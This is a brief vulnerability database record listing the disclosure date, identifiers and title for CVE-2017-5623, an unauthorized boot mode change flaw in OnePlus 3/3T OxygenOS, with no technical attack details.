29-Jan-17 : [CVE-2017-5623](https://alephsecurity.com/vulns/aleph-2017005) assigned. id SSV:92803 last seen 2017-11-19 modified 2017-03-20 published 2017-03-20 reporter Root title OnePlus 3/3T OxygenOS Unauthorized Boot Mode Changing (CVE-2017-5623)